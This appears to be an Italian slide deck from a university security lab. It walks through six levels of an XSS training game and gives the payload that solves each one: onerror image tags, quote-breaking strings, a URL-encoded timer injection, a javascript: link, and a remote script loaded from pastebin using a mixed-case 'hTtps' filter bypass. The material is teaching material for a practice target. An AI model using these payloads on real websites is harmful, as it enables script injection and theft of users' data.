Sicurezza Informatica

Esercitazioni, Competizioni e Test:

LABORATORIO DI SICUREZZA INFORMATICA

a cura di: Francesco (Galt) Faloci

XSS: client side

XSS = Cross-site scripting

 

Vulnerabilità peculiare di Applicazioni Web, siti dal contenuto dinamico o Form di accesso.

 

Come si individuano le falle? Brute force.

 

Cosa si può fare?

  • Raccolta, manipolazione e reindirizzamento di informazioni riservate
  • Visualizzazione e modifica di dati presenti sui Server

XSS

Problema facilmente risolvibile?

No: https://www.google.com/about/appsecurity/reward-program/

 

 

 

XSS

XSS: Livello 1

XSS: Livello 1

Questo livello mostra la causa più comune di cross-site scripting dove l’input dell’utente viene incluso direttamente nella pagina senza essere adeguatamente controllato

 

Come abbiamo visto dal risultato, quello che viene inserito dall’utente non viene assolutamente controllato e viene eseguito il codice HTML così come lo scriviamo; Per questo motivo posso inserire uno script JavaScript per far comparire un alert... o peggio.

XSS: Livello 2

XSS: Livello 2

La prima cosa da provare - sempre - è vedere se l'input frame ( o form) permette l'inserimento di codice HTML


Successivamente tentiamo di inserire uno <script> come fatto nel livello precedente: in questo caso possiamo vedere che
l’applicazione accetta input html ma non script!


Bisogna esplicitare un metodo per far si che un elemento HTML permetta l'esecuzione di un js.

 

 

XSS: Livello 2

https://www.w3schools.com/jsref/event_onerror.asp

L'HTML è stupido.

Esiste -ancora in HTML5 - parametri che eseguono codice js all'occorrenza di determinati eventi propri del caricamento di elementi html...

In questo caso: onerror, ovvero, al caricamento di una elemento non presente sul server, o non disponibile, restituisce lo script.

 

inserire: <img src='pippo' onerror=alert("ciao");>

XSS: Livello 3

XSS: Livello 3

In questo caso non è presente alcun form o input frame su cui è possibile inserire del codice js.

 

In casi come questi, si osserva il codice e si cerca di smontarne le vulnerabilità in base agli script!

 

Cerchiamo lo script che carica le immagini!

XSS: Livello 3

XSS: Livello 3

inserire:  zzz' onerror=alert('ciao') />

XSS: Livello 4

XSS: Livello 4

Siamo diventati sufficientemente bravi da capire che bisogna aprire il codice ed individuare le falle.

 

Genericamente esse sono in uno script js, oppure in parti di codice dinamico, come l'indirizzo REST (barra degli indirizzi), o un imput controllato che innesca un'altra funzione...

 

Analizziamo il codice.

 

XSS: Livello 4

inserire: /?timer=1')%3balert('ciao

 

"%3b" perché le chiamate REST vengono tradotte dal browser. Elementi come spazi, punteggiatura, accentate ed altri marker hanno una loro codifica particolare. %3b rappresenta ;

XSS: Livello 5

XSS: Livello 5

In questo caso, la pagina ha molti più controlli della precedente. Non sarà possibile - in teoria - iniettare direttamente codice in alcun input frame o nel campo degli indirizzi.

 

Notiamo però che all'inserimento della mail/nickname corrisponde il caricamento dell'elemento "confirm" sul link "Next".

 

Quello che dobbiamo fare è quindi MODIFICARE Next, prima ancora che venga selezionato.

XSS: Livello 5

inserire: javascript:alert('ciao')

 

premere "go", per aggiornare la pagina...

XSS: Livello 6

XSS: Livello 6

Questa pagina fa una delle cose più sbagliate che si possano fare nella progettazione di pagine e applicazioni web.

 

La pagina CARICA dei contenuti html, js, php o altro, provenienti da una locazione

 

Pertanto "una locazione" può essere qualsiasi posizione del web... un nostro sito, il nostro cavallo di troia, un malware caricabile ovunque.

 

Carichiamo il nostro "malware" in un sito esterno.

XSS: Livello 6

https://pastebin.com

 

Pastebin consente di scrivere codice js e caricarlo tramite url in qualsiasi posto del pianeta.

 

 

avremo quindi: https://pastebin.com/raw/E8ZG6F2h

XSS: Livello 6

avremo quindi: https://pastebin.com/raw/E8ZG6F2h

 

 

 

 

 

Come scopriremo però non basta!

La pagina ha un ulteriore controllo. Quello che troveremo è un errore di accesso. Apparentemente, non accetta locazioni che provengano da fonti "http:"...

Quindi non possiamo fare nulla.

XSS: Livello 6

Invece...

 

Se controlliamo accuratamente il codice, notiamo che la stringa di controllo non verifica se il percorso "http" del file da escludere sia case sensitive.

 

inserire: hTtps://pastebin.com/raw/E8ZG6F2h

/end

... grazie per l'attenzione.

CSLESS4

By frafolo

CSLESS4

  • 295